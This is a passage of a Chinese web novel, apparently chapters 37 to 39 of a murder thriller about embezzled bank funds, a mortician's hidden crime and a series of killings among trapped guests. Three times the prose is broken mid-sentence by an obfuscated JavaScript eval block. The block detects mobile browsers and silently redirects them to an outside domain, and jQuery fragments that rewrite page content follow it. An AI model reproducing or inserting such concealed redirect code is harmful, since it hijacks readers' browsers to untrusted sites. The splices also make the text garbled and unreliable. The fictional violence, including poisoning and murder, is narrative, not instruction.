胡浩几乎能看见未来拥抱数不清的钱,卡上的余额有多少个零能让他模糊视线,他数不清。钱晓文肯定也数不清。她以后仍旧可以想买什么买什么,不用在意多少钱,买黄金回去做墙砖造房子都行。 美梦做了半年,他去问行长,红利什么时候分。大投资收益好,红利是一年分两次,甚至分三次,只有效益一般般,才是一年分一次。有些客户的理财期限快到了,他得先分点红利,把客户的钱还回去,还得给客户补上理财所得的利息。 行长说,别急,大数字急是没用的,要耐心,总会分给你的,我们也没拿到啊。 胡浩信了,之前他投资拿不出来的钱也快出来了,钱出来之后立马先把客户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114588|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的钱补齐。补完,手里就不剩多少了。只有10来万,他投进比较稳的理财,一个月只赚几千。这数字让他皱眉,转掉将钱扔进高风险高回报的项目,结果亏了。 这一年,胡浩像鬼撞墙一样,投什么亏什么。收回来的钱还不够还客户的钱,他焦急,让钱晓文给他钱。钱晓文每个月把工资发给他,一个月才18000的工资,少得可怕。 但没办法,只能一点一点补客户的钱,然后去催行长。行长被催烦了,不接电话了。有客户的理财结束了,要撤出钱不投了。客户的理财产品里根本没钱,那些钱全被他投进行长的项目了。他拿不出钱,只能挪用另一个客户的钱补给这个客户。 人走霉运的时候是会接二连三的走霉运。胡浩从没觉得自己这么霉过,客户接二连三的撤资。胡浩补空补得焦头烂额。补到后面补不动了,找到行长家。 行长叹着气,说,小胡啊,那个钱……你别想了。 什么叫别想了?胡浩懵了。那是一个亿啊!是他从客户那里挪来的钱啊! 行长说,你走吧。胡浩问那钱怎么办?行长说投资么,不就是有风险,投资失败了,结果得自己承担啊。 确实是这样,投资是自愿,失败得自己承担,至少行长没叫他还那五千万。他再想想办法,从客户那儿挪出来的三千万,还是有机会补上的。 胡浩给兄弟们打电话,电话没打出去,银行的电话来了。他挪用客户的钱被曝了,让他快去银行。 胡浩头皮发麻,硬着头皮去银行,他记得这一周没谁的理财到期啊,怎么会被曝? 银行里的兄弟跟他说,去年五月,你挪了一个老客户的五千万,今天客户来查账,发现了。 胡浩懵了,他什么时候挪了五千万?他挪的最大的一笔是500万,是他自己的理财客户。这个老客户根本不是他客户啊。 兄弟拉他到厕所,悄声说,就是行长给你的那五千万啊,忘记了?当时行长说你急用,让我们先挪给你垫着。 当头一棒,胡浩感觉自己快呼吸不过来了。行长挪了客户的五千万,说借给他,让他凑一个亿去投资项目…… 胡浩笑了。这就是一个陷阱,套他钱的陷阱,偏偏他傻乎乎地跳了。对啊,他一个小小的主管有什么资格去投大项目?还是一个亿的大项目?当普通人知道能赚大钱的机会来临,那必定是宰猪杀羊的日子,用普通人的血祭奠资本家的金库。 胡浩就是那只被祭奠的猪,蠢得可怕。 兄弟问他,你投什么去了? 胡浩说不出来。 兄弟说行长已经在会议室了,正在安抚客户。你现在过去? 最后的结局是,胡浩得想方设法还上那五千万,还得还上他手里客户的三千万,以及赔付1000万。否则,坐牢去吧。 胡浩大笑,差点一口答应那就坐牢吧。这就是一个局,做他的局。那一个亿就在行长手里握着,他们不敢从客户账户那钱,就下套子让他拿,拿了给他们,然后让他去补这一个亿的窟窿。指不定这个客户和行长都是一伙的,胡浩还得额外再付他们1000万的赔偿金。 一个亿的空,1000万的赔偿金,他拿什么填?拿血肉和命? 胡浩没告诉钱晓文。钱晓文从共友那里知道了,把卡里没用完的500万转给他。他们又开始卖房卖车,卖奢侈品。奢侈品买来贵,却卖得贱,价格压得非常低。倒是那串鸽子血的宝石项链没怎么亏钱就卖出去了。 零零碎碎也才还上五千万,还有六千万。胡浩的所有投资全撤回来了,没钱了。 兄弟们借的钱凑了一千万,还差五千万。银行催得急,客户要钱,不给钱马上上法庭。胡浩和钱晓文开始贷款,四面八方线上线下能贷的地方全贷。胡浩家里出了一点钱,钱晓文家里一分钱拿不出来。胡浩嗤笑,你家就是个无底洞,给多少都填不满。 钱晓文没应声,她除了做入殓工作,又干上搬尸的活。哪一天的尸体搬得多了,她便庆幸,觉得死得多真好,死一个她就可以拿到800块。死10个,就有8000,死1000个,就有80万,死1万个,就有800万。 有时候熬夜到天亮,她坐在殡仪馆的宿舍窗前,看着雾蒙蒙的天,开始想,她往水库里投个毒,毒死一片区域的人,别说5000万,就是5个亿都能来得轻轻松松。 这一次对胡浩的打击非常大。他窝在钱晓文的宿舍里,那是一个单间,带厕所的。每天喝酒,抽烟。偶尔接到一个电话就出门,有时候出去一会儿回来,有时候一整夜不回来,有时候几天才回来。 钱晓文没管他,她也忙,要给尸体化妆,要背尸。人死后非常重,她一个人背,很多时候背不动,得让家属帮忙搀扶着。心地好的家属会帮忙,也有些家属张嘴就骂,还打电话投诉她磕坏了尸体。钱晓文说磕坏了坏了,她能复原,然后骂得更凶了。 有段时间,师父——领她入行的那个老头,让她休息一下,先别去搬尸了。 钱晓文倒是想休息,只是看着工资表,没心思休息。而且有个客户已经把胡浩告上法庭里。她甚至怀疑是不是这个原因,胡浩消失了。打电话不接,问朋友,朋友们也说很久没见过了。 就这个乱七八糟的日子,钱晓文发现自己怀孕了。 她希望胡浩回来,不管法庭怎么判,她可以等他,她可以更努力的赚钱,和他一起填补窟窿,只要他回来,别丢下她一个人。 没搬尸的日子,她疯了一样四处找人。 法院的人找上门来,警察也来了,因为胡浩和她住在一起。他们搬走了宿舍里的大部分私人物品,说抵押。连钱晓文都不知道她的床底什么时候掉了几条项链和一个包,全被带走了。 胡浩失踪了一个月。钱晓文失魂落魄,她最爱的男人一句话没留给她独自跑了。起初她是不愿意承认他丢下她跑了,是朋友说的,朋友认识警察,说查到了胡浩的出境记录。他一个人,偷偷跑了。 钱晓文晕倒了,被师父送进医院挂吊液。闺蜜来看她,让她休个假出去放松一下,不然对孩子不好。闺蜜说盗用钱是胡浩的事,你们又没结婚,不关你的事,你没必要上赶着帮人还账。人自个儿跑的时候都没想起你,你瞎操什么心。 钱晓文还是想等胡浩,她觉得胡浩不是那样的人。可事实证明,胡浩就是那样的人。朋友把胡浩出境的录像发给她了。一个人,戴着帽子和口罩,没有行李,状态焦急,很急着出国。 钱晓文扯开嘴皮笑了。她对闺蜜说,好,我出去散心。但是去哪里?回老家吧,一想起父母那个嘴脸,以及村里三姑六婆八卦的嘴皮子,她就有点恶心。 当年她和胡浩有钱的时候,她给家里打钱是几万几万的打。她爸或者妈说出去了,不知道隔了几辈的亲戚找她借钱。她不借,那些亲戚就说现在发达了,不认亲了,没良心的白眼狼。然后让她爸妈来说和。钱晓文只要一想想就头疼,这一次回去,没钱,更不知道能传出什么话来。 闺蜜转发给她一个网页,说夏令营,去这个吧,学费不贵,作用还大,你去散散心,顺便学习入殓技术,到时候回来工资不知道比你现在翻多少倍。 一看见能赚钱,钱晓文就激动。虽然亲眼看见胡浩自己逃了,可心底最深处,还是希望胡浩有回来的一天。要回来,必须得把欠的钱还上。胡浩没办法还,她可以帮忙还,尽全力去还。就像当年胡浩帮她一样。 钱晓文报名了。并且在出发之前给胡浩那张还没有挂失的电话卡发了一条信息。 【我们分手吧。】 不是真的要分手,她想知道自己在胡浩心里到底算什么,怎么能那样轻轻松丢下她跑了? 38. 第 38 章 胡浩失踪了,胡浩出境了,胡浩丢下她一个人逃了,胡浩离开她了……所有的她都可以接受,可偏偏为什么胡浩会在这里?用这种方式再次出现在她面前? 甚至在她进入房间时,没有第一时间发现,修复时没有发现。她……为什么没有认出来? 钱晓文匍匐在胡浩身上哭,怒气从心底窜起来。她恨,恨所有人,恨带胡浩入行的人,恨借钱给胡浩的人,恨那些叫胡浩搞投资的人,恨胡浩的兄弟没有劝住他,恨自己去殡仪馆上班,恨胡浩给自己打电话时自己在第四殡仪馆学习。 如果她没有工作,一直在胡浩身边,胡浩是不是不会陷得这么深?会不会不会欠那么多钱,会不会他们正在共同孕育一个孩子……会的,会的,一定会这样。 胡浩是一个有商有量的人,他们两人的事情经常摆在明面上来互相商量提建议。 可是她偏去上班,偏偏不愿意在家里坐着等他拿钱回来,偏不愿意当一个没有工作的家庭主妇。 钱晓文恨自己,恨所有人,恨这个让人厌恶的世界。戾气烧灼了眼,口干舌燥。 舌头舔着嘴皮,嘴皮是干裂的,分泌出的口水辣得嘴皮生疼,喉咙一阵一阵地发干。她猛力拽过桌面上的矿泉水。矿泉水放久了,捏在手里是温热的,钱晓文最不喜欢的温度。 她喜欢冷的,冰冻的,像40℃的高温里胡浩递给她的那瓶那样。她喜欢胡浩递给她的冻水。 可惜,再也不会有了。她趴在胡浩身上,胸口感受到的温度是冰冷的,比冻水还冷,他的眼睛紧紧闭着,再也看不见她。他的嘴皮像她一样干,手指摩擦过,指腹带着一点刮疼。 她拧开瓶盖,往盖子里倒出一点矿泉水,用手指沾了沾水,抹上他干裂的嘴皮。 来,喝点水。 最近又热了,你的嘴巴也干了。 干了不好,容易起皮,撕出血。特别是你的手又不听话,所以啊,以后要经常喝水,别等渴了再喝——胡浩经常告诉她的话。钱晓文从来没往脑袋里记过,她还是那副样子,渴得厉害了才喝,或者胡浩给她水的时候才喝。 以后不会有了,以后她得自己喝水了,还要喂胡浩喝。 他们一起喝。 瓶盖浸出水,打湿了捏着瓶盖的食指和拇指。钱晓文用右手食指抹湿了胡浩的嘴唇,便就着左手,将瓶盖里仅剩的水灌到自己嘴里。苦的,不好喝,像吃完药片后的感觉,舌头发苦,喉咙有点反胃。 她皱了皱眉。瓶盖放到桌面,湿润的两根手指互相捻了捻,想把指腹上的水迹捻干。捻着捻着,她皱起眉,这两根手指只是捏着瓶盖的边缘,瓶盖只有半盖子水,怎么可能溢出来把手指打湿? 有什么念头在脑海里快速闪过,她下意识闻了闻手指,一股药味,那种用手拿着药片吃完后残留的味道,令人作呕。 不是水过期,也不是矿泉水瓶过期,是水有问题,被人加了药。 谁? 所以该轮到她死了么? 很意外的,钱晓文没有感到恐惧,而是一种放松,深深的放松。之前,范明胜死的时候,她害怕,害怕自己有案底,怕再也见不到胡浩。赵淑萍死的时候,她还是害怕,怕自己死在这里再也见不到胡浩。 现在,她见到胡浩了,死掉的胡浩。她也变得不怕了,不怕留下案底,也不怕死在这里。甚至她还想再往那些红酒,或者往饭桌上,往饮用水的出水口加入更多的尸液,让他们一起死,所有人一起死。 胡浩的尸体很冷,她趴在他的胸膛上,感受到前所未有的暖和,异常的温热。 是她贪恋的温度。每晚睡觉前,胡浩躺在床上,她都会往他的胸口躺一躺,哪怕躺上十秒钟,也能让疲倦的身体从内而外的感到轻松和舒适。 她是多么的爱他。他是她的精神,是她的支柱,是她的生命。 “啊……真不想让你死。” 房间响起脚步声。逆着光,有人从敞开的浴室走出来。 钱晓文回头,错愕地瞪大了眼,“你怎么在这里?什么时候进来的?” 那人笑着说:“来好久了呢。” “胡浩是你杀的?” “别这样说,我可杀任何人。” “那他……” “哦,他啊,如果我没有记错,事情应该是这样的……” 胡浩一直在想办法,怎么填不上空洞。钱晓文的工资只是车水杯薪,连两个人的生活都艰难。每天看见她带着一脸的疲倦回来,胡浩就有种想死的错觉。一切都是因为他,是他太蠢了。 尽管钱晓文什么都没有说,他仍旧不能原谅自己。他开始不敢见钱晓文,往外面躲。有时候去公园里坐着,有时候去见一见兄弟。 兄弟给他介绍了人,说可以帮助他。他去见了,对方告诉他,银行的行长被查了,查的结果还没出来,但这一查铁定得进去蹲着。不过走漏了风声,行长逃了,可能带着他的那一个亿。 胡浩急红了眼,宁死也是能让那狗东西带着他的一亿逃。他去机场堵人。 迟了一步,行长已经上飞机了。他打电话给那个人,请他帮帮忙。他非常需要那笔钱,如果成功截住行长,一个亿可以立马还上,他自己的钱也能拿回来。钱晓文就不那么累了,他也不用有负罪感了。 等拿回钱,他往后一定老老实实上班,不去做这些高风险的事情了,就和钱晓文两个人,她上殡仪馆,他开家房地产公司自己卖房子。这样踏踏实实的生活,生一个孩子,他们会有一个幸福的家。 那个人说我想办法给你搞一张机票,你上飞机吧。他站在大厅里,被推着小推车的清洁工撞了,同时他的手里多了一张机票。他错愕至极,清洁工连连对他道了歉,然后蹲在地上清理扫出来的水迹。 胡浩没有任何迟疑,拿着那张机票,登了机。 他从座位的最后一排开始找,找进商务舱,没有行长。只有一飞机不认识的人,还有两个对他露出礼貌微笑的空姐。 她们夹了一张热毛巾给他,说擦擦手吧。胡浩坐在座椅里,在下飞机和持续性坐下去之间犹豫。这是一趟飞往新西兰的航班,如果他去了新西兰,那些债务就和他没关系了。可是,钱晓文还在平城啊,还在殡仪馆的员工宿舍啊,她还在等他啊。 他放不下钱晓文。站起来,丢掉热毛巾,要下飞机。 那时,飞机还没有起飞。 手机响了,一条短信推送进来。胡浩本来没在意的,他的短信很多,99%是垃圾短信,各种垃圾或者催债的、银行贷款还款信息的。 但这个时刻,鬼使神差的,他拿出手机,点开了那条短信。陌生号码,对方说你先出国,过段时间我会把她送到你身边。在国内,你们没有结婚,你的债务移交不到她身上,你走了,她很好出国。 这是一个绝佳的逃债机会。胡浩很没出息的心动了,因为他欠下的无底巨洞,一个亿啊,一个平城从老到幼,一人捐一块钱都捐不出这么多。 胡浩坐下了。短信内容非常的真实,只有他走了,钱晓文才有喘息的机会,一个亿的债务是他的,钱晓文和他除了是情侣之外没有任何关系,过不了多久,她也可以出国,来到他身边。 虽然不知道对方为什么帮他,但他仍旧说了一声谢谢。 飞机起飞了,地面离他越来越远,他看着逐渐缩小的平城,楼房成了红的白的一个点,夹在山与河之间。钱晓文就在那之间。 胡浩握紧了拳,他告诉自己,没关系。他会在新西兰找一份工作,等钱晓文来。 像短信里说的那样,下飞机就有人来接。对方穿着大裤衩和拖鞋,络腮胡,个头很大,开着黑色的皮卡。 胡浩上车就被敲晕了。 再醒来时,头顶的灯光很晃,惨白的冷光,一些人的影子重重叠叠地出现在他视野上方。 他看见刀和叉,机器的嗡鸣是很后面才传进耳朵的。等听见嗡鸣声时,身体也感受到了剧痛,一把锯子,据开了他的胸腔和腹部。 没有麻醉,他痛到惨叫,疯了一样地挣扎。束缚带被他挣扎松了,头连着脖子从担架边滑落。 “嘭!”一把扳手砸在他的侧脸,下颌连着整个脸部轮廓被砸碎了,他也被砸晕了。 这一次,再也没醒来。 …… 钱晓文疯了,跌坐在地上。 “你说……他、是、因为我才出国的……?” 她不可置信地抬起头,望着眼前的人。 那个人居高临下,站在前面,低头俯视她。听见她这样问,脸上露出笑,扬起嘴角,点头,“是的。” 得到肯定的答案,钱晓文不知道从哪儿来的凶猛气势,猛地从地上爬起来,像那个人冲了过去,双手掐住对方的脖子,眼神充血,语气尖利地问为什么。 为什么要这样。 为什么要这样对胡浩。胡浩他什么都不知道,他什么都不知道! “他知道的,那晚你是怎么离开的,他都知道。” 钱晓文怔在原地,掐住脖子的手松了劲,对方轻轻松松挥开她的手,笑着说:“他在装给你看。不然,你以为他那么谨慎的一个人会因为一条陌生短信答应出国?” 在飞机起飞之前,在胡浩收到第一条短信后的两分钟,他坐在椅子里,想了很多,觉得一句话不说丢下钱晓文不好,尽管他的债务不会转移到钱晓文身上,但那到底是一个亿的大数字,警方会对她进行监控,她能出国的几率并不大。甚至是……“行长带着你的一个亿上飞机准备逃了”这条线索,到底是谁告诉他的?明明是一条假线索啊,对方真正的目的,是让他登上这架飞机。 胡浩一下子想通了,又是一个陷阱。他往登机口跑,空姐大喊别在飞机上跑,现在不能下飞机了。 这时候,胡浩的手机响了,又一条短信送进来,依旧是那个陌生的号码。 【12年1月4日晚上十点四十分。我有交汇路133号的全视频,需要我帮你送交到公安局吗?不想让她坐牢,就坐下,系上安全带,飞机落地后,会有人去接你。】 胡浩停在登机口,有人在上飞机,请他让一让。他捏着手机,觉得这是老天对他当小偷的惩罚,他偷客户的钱太多了,报应来了。 不管这是一个什么样的陷阱。他都得出国,出国就不用还债了,出国,钱晓文的那件事,就不会泄露了。 到底是谁?是他的兄弟吧,那个实习期引他入行的兄弟,只有他知道那晚的事。 钱晓文没告诉他那晚具体发生了什么事,胡浩只知道后来钱晓文变了,沉默寡言不爱说话。他问,钱晓文不答。他是一段时间之后,兄弟之间的年前聚会,大家喝多了,七躺八倒在沙发上。兄弟附在他耳边,说:“你家小文……是不是杀人了?” 胡浩没反应过来,笑着说:“她不就是做这行的吗,每天都在接触死人。”这个兄弟和他一个大学,比他大一届,论起来还要叫一声师兄。师兄知道钱晓文做什么工作。 “嗯……”师兄抬起一根食指竖在胡浩眼前,摇了摇,“不是哦。是真杀人了。什么时候来着,嗯……我想想。”他曲起那根食指,开始抠额头。 酒精烧脑子的胡浩终于反应过来了,随着师兄一下一下地抠,他也变得十分紧张,喝了一口凉水压压惊,说:“师兄你是不是看错了。” 师兄一拍手,“哦!想起来了,绝对错不了,1月4号晚上啊,本来是请汇丰银行的主管吃饭,结果主管的老婆生孩子,提前散了。就那天啊,在交汇路口,我看见你家小文站在那儿,身上全是血。手里拎着一袋钱和一封文件袋。我给吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118696|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了,那晚喝了酒啊,没叫代驾,根本不敢留,怕警察来了查酒驾嘛,拉上你家小文就开车走了。” 胡浩耳朵嗡嗡嗡的,几乎要听不清他在说什么。师兄问他,你家小文拿的什么东西啊?胡浩不知道自己怎么回答的,稀里糊涂回了家。家里没人。钱晓文在加班,据说是一具烧伤惨重的尸体,家属非要修复,开价很高,她和师父在做尝试。 胡浩坐在沙发里,想起师兄说的话,忽然站起身,去厨房灌了一大瓶冻水,醒了醒神,然后开始翻箱倒柜找东西。 那是他刚从银行离职,七借八贷将将把亏空的钱补上,和钱晓文搬到一个很小的老民房里。 这种房子阳光好,但不大,几乎没什么可以藏东西的地方。所有东西一目了然。 胡浩很轻松地找到师兄说的那一袋钱和一封文件。装钱的黑色口袋和牛皮纸上沾满血,血凝固变黑了。 胡浩颤抖手,打开了黑口袋,里面至少有30万的现金。2012年的30万,多么值钱啊。这种现金拿在手里,比他在银行做理财看见的一串串数字还要来得直截了当、直冲心脏。 他把银行的钱当无意义的数字,所以一笔接一笔进进出出左挪右用,如今看着这码得整整齐齐的钞票,才惊觉30万是这么多,这么重。钱晓文当时是怎么搬动的? 他不敢去拆那个密封袋,他怕看见更恐怖的东西。把东西全部藏回去,假装自己不知道。 这一夜,钱晓文没回来。胡浩这一夜没睡着,躺在床上,盯着藏钱的那个地方,完全闭不上眼,喝多酒的脑袋又疼又胀,太阳穴突突跳。 他想,钱晓文每天晚上盯着那个地方,是怎样睡着的? 胡浩到底没忍住,拆开了那个密封的带血的文件。里面飘出几张单薄的纸。银行账户流水单,各种理财、证券的打印表,数额庞大。还有一张名单,不知道是哪里收集来的,名单上的名字,胡浩只在搜索引擎和同事处理的理财账户表上见过。 全是平城的资本家,富得冒油的那种。他们之间的交易流水,账户。那一笔一笔的钱几乎杀疯了胡浩的眼,里面随便一笔转账款就能轻轻松松抵消他在银行挪用的空洞。 有钱人是真有钱。 胡浩嫉妒得眼红。 门锁传来插入钥匙的声响,胡浩眼疾手快将东西装回去,塞回原位。他躺在床上装睡。钱晓文推开门看了一眼,轻轻带上门。 胡浩睡不着,在床上翻来覆去,想不明白钱晓文是从哪里来的,杀人偷来的?杀了谁? 迷迷糊糊熬到中午,他坐起来,冲了澡,钱晓文在沙发上睡着,眼底乌青。和平常一样,她很累很累。胡浩想起那些流水单,只觉得不值得。 为什么有钱人那么有钱,他们这么辛苦拼搏,还是只能赚到一点点狗屎一样小的钱。 既然已经有了,那就给他用吧。胡浩替钱晓文盖好毛毯,俯身在她额头落下轻轻的吻。他打开门,出去继续兜售房产。这一次,不是向那些穷人,也不是工薪阶级、中产阶级的人,是那些富得冒油的富人,平城的富人,那些流水单上的人。 他一个一个登门拜访,上门宣传。 有些连小区都进不去,他就守在地下车库,很多时候也只能守到那些富人的司机。 皇天不负有心人,还是给他蹲到大半。他靠卖房子,一个月赚了五十多万。 房地产中介的老板笑得眼睛眯起来,给他送水递茶,可胡浩知道,还不够,他累死累活,拿的五十多万的提成还抵不过那些富人的一个车轮子。 他以后也要开上那样贵的车轮子,让钱晓文坐。 …… 那个人一脚踢开担架,胡浩的尸体差点从上面掉下来。钱晓文急急扶住。那人走到墙边,摁动提交作业的扫描键。 滋啦一声响,空白的墙壁上出现一个手环。伸手拽住手环,用力往外一拉。 “哗啦——”一张担架从墙壁里抽了出来,轮子在瓷砖地面哗啦响,然后停在钱晓文面前。上面,躺着一具尸体,面部完整的尸体。 钱晓文一眼认出来。胡浩的师兄。他的胸膛和腹部被破开,体内器官拆得干干净净。 “想起来了吗?” “知道为什么了吗?” “你们享受过的,早晚都要还回来。” 钱晓文抱着胡浩,跪在地上,又笑又哭。2012年1月4日晚上的记忆,如开闸的洪水冲进脑海里。 她不是忘记了,也不是随着时间的推移渐渐模糊了,而是她一直压抑着,不去想,不去触碰,似乎这样,她就是清白的,胡浩就是清白的。他们就可以活一辈子。 那晚发生的事情,她很后悔,在第二天就后悔了。可是迟了。 她在犹豫告不告诉胡浩,没有犹豫出结果,她就发现胡浩又去银行上班了,这一次,他在银行里找的那些客户,钱晓文隐隐约约觉得熟悉,她把那尘封许久的文件拿出来。 一切都对上了。 胡浩发现这些东西了,他把文件上的一部分人发展成了他的客户。 一年接一年,越赚越多,多到钱晓文花不完的钱。 钱晓文根本不敢让胡浩赚的钱留着,拼了命的去花,好像留着就是一种把柄。 她没有胆量找胡浩对峙。只能装作没看见,因为,这一切的源头来自她当时的恶念。 她开始不见胡浩,不关心他,不和他谈论事情,怕自己脱口而出这件事。 频繁的加班,不想回去。 只要她不说,胡浩不说,似乎他们之间就是干净清白的。 可惜,不是自己的永远不是自己的,拿了别人东西总要还回去,做错事的报应终究会降临到身上,只是早和晚。 现在,来了。她的报应,胡浩的报应,师兄的报应。 39. 第 39 章 关于2012年1月4日的谈话之后,大家吃饭都不积极了,只有周志一如既往地在十点半到十一点之间去余有为房间洗菜。 他敲了门,推门进去就听见余有为在咳嗽,咳得很凶,单手撑在落地窗上咳得浑身震颤、直不起腰。 周志极快地拿玻璃杯接了一杯水递过去,“咳这么厉害?” 余有为放下捂在嘴巴上的手,半握着搭在腿边。他用撑玻璃的那只手接过水杯,喝了一口,摇头说:“没事。” 周志的视线在他握在腿边的那只手上瞟了瞟,挪到余有为脸上。余有为的脸色非常苍白,映得那张咳嗽过的嘴异常的红,红得不正常。 周志皱眉,想让他去休息,自己来做饭。但对方好像是一个喜欢硬撑的人。他便没再说什么。 菜洗好下锅了,悦凌凌几人才陆续过来。张情是最后来的,提着一瓶红酒坐下,一边拔木塞子,一边问:“你们喝吗?” 悦凌凌摇头,陈宇南把杯子递过去。余有为拿着长柄锅勺,回头说:“也给我倒一杯。” 平月抱着她那个保温杯,张情扫了一眼,嗤声:“无趣。” 平月说:“钱晓文没来。” 悦凌凌盯着陈宇南手里的玻璃杯灌满深红色的酒,笑眯了眼。她笑眯眯站起身,“我去叫。” 出门前还看见张情将自己的酒杯倒满,端起来抿了一口。 她的欢喜快要抑制不住,差点笑出声,脚步轻快。钱晓文的房间就在余有为隔壁,她用力拍了几下,大声喊:“吃饭了!” “钱晓文!” 喊了几声,没人应。她不敢去开门,又喊几声后回了余有为房间,说:“还没醒呢。” 周志:“那我们先吃?给她留一点。” 大家很无所谓。 余有为喝了一口酒,抽一口烟,望着窗外的暴雨叹气。 悦凌凌拼命刨饭,生怕吃慢了就吃不着了。她刨饭的时候,拿眼睛从碗的上面看对面的张情,张情在喝酒,喝一口放下酒杯,说:“今天这瓶有点涩,味道不纯。”然后夹一块白切鸡吃。 周志问哪一年的?张情说82年。周志笑道:“你前两天拿67年的,今天拿82年的,当然没那么好喝。给我来一杯尝尝。” 张情倒一杯递给他。他喝一口,说:“确实没前两天的好喝。” 悦凌凌愈发迷惑了——很显然张情提的这瓶酒是她加过药的,为什么张情喝完两杯了,一点事没有。陈宇南也没事,余有为也没有。 周志看向悦凌凌,“怎么了?愁眉苦脸的样子。” 悦凌凌匆匆摇头,“没。”又开始刨饭。 周志没追问,随口感慨一句:“小文不是这样能睡的人啊……” 悦凌凌:“你怎么知道,万一昨晚熬通宵了呢。” 梁威也因为这句话看向周志。不知道是不是职业病的关系,他的眼神自带审视,就像在看嫌疑犯。周志立刻抬手做投降状,“别这样看我,就是不对劲才这样说啊,每天去叫她都是在睡觉,怎么今天就突然叫不醒了。”说完他问平月是不是。 平月说是。每次去叫钱晓文确实在睡觉。 余有为抖了抖烟灰,说:“去看看吧,别真的出了事。”一想到赵淑萍没了,他就心有余悸。 梁威第一个站起来,大步转去隔壁,“钱晓文?”他拍着门叫。 没人应。 周志说:“不对劲吧,睡得再死,叫了这么大半天,也能应两声吧。”更何况最初是悦凌凌来叫的人,她那嗓子,他们坐在余有为房间里都感到刺耳,门拍得嘭嘭,像地震似的。 梁威直接拧门把手,很意外地开了。 绕过入门的金属立柜,入目就是钱晓文跪匍在一具尸体上,睡着似的,一动不动,像一尊雕像。冷白色的射灯打在他们身上,格外的阴冷森寒。 他们的身边还有一张担架,放着另一具开膛破肚的尸体。 梁威脸沉得吓人。悦凌凌从背后探头看一眼,登时爆发出尖锐的惊叫。 …… 钱晓文死了。 说不清是怎么死的,房间里没有搏斗过的痕迹。她匍匐在尸体身上,那种姿势,像拥抱自己的爱人。尸体枕下的担架角落里别着一个名字:胡浩。 另一具尸体的脚踝上系着铭牌:蔡乐康。 不认识。没听过的名字。 梁威封锁房间,不许任何人进入。已经死三个人了,傻子都知道凶手是冲他们来的。 他们需要警察,要警察来。 电话打不通,没信号。老式座机也打不出去,连电视都放不了了。 他们是瓮中之鳖,一个接一个地死。 饭吃不下去了,大家心事重重,坐在余有为的房间里。悦凌凌慌慌张张,抬板凳砸落地窗。落地窗纹丝不动。 没人有心情去管她。 周志说:“要不再谈谈12年的事?说不定能找到什么。” “12年关我什么事!”悦凌凌一把扔掉板凳,“我才几岁,记得个屁!” 张情扫了周志一眼,“凶手不会就是你吧?12年真要发生什么,假设,假设说真关我们的事,你一直问,是想听我们忏悔来满足你的变态欲吗?” 周志笑:“你这么不愿意提,不会真的做了什么吧?杀人?” 张情的脸色菜如死灰,那一向似笑非笑的眼神陡然变得犀利起来。 周志:“猜中了?真杀人了?不是吧……” 张情哼声:“杀了人还能坐在这里?” 周志:“畏罪潜逃呗。” 张情盯着他,“你呢?执着于这件事,你做什么了,让你这么不安?” 周志耸肩:“错过了救人时间而已。在道德层面,救人是一种高尚的行为,可不救也没关系吧?” 张情嗤笑。 “我可以大方说出来,因为我不觉得我有问题,救人不是我的义务和责任。” 周志端起酒杯,喝了一口。 “反正无聊,都说说呗。说清楚了,说不定能出去。” 梁威掉身走了。 “诶……” 周志对张情笑,“看见没,还有一个比我更不安的人。”他盯着梁威的背影,喃喃,“在怕什么呢?” 随即转头问陈宇南:“怕吗?” 又问悦凌凌,“怕吗?” 最后问平月。 平月捧着保温杯,“有一点。” 悦凌凌拔高声音,不知道是在给自己壮胆,还是故意说大声些好让所有人听见,“怕什么!又不管我的事,我没做什么,还能杀了我不成!” 话是这样说的,其实心里很虚。她希望所有人死,这个所有人里面可不包括自己。她自己要活着离开这里,活着回去。 周志抠着下巴,“其实我也挺好奇的,12年,小悦、陈宇南、平月,你们三个人才五六七岁吧,晚上十点都在家里睡觉吧,能做什么呢?” “假设他们的死和12年那件事有关系,那不管他们是五岁六岁还是七岁,只有出现在这里,必定有关系。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122944|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 张情说,“所以你要说清楚,那晚发生了什么,说不定大家听着听着就能听出问题了。” 悦凌凌难得附和了张情一次:“对啊。” 平月说:“我也很好奇。” “那晚……”周志刚刚起头,余有为又开始咳了。咳得突然又迅猛,他弯腰往地上咳,面前的酒杯被打翻了,掉在地上碎了一地的玻璃渣子。 大家都吓住了,没反应过来。等反应过来时,余有为一下子栽在地上。他很胖,圆滚滚的一条,栽下去时根本团不稳,往侧面一翻,仰躺着。 悦凌凌蹲过去时,一团血从他的嘴里喷溅到悦凌凌脸上,悦凌凌懵了,呆愣愣地蹲在原地,紧接着尖叫起来,跑进厕所去了。 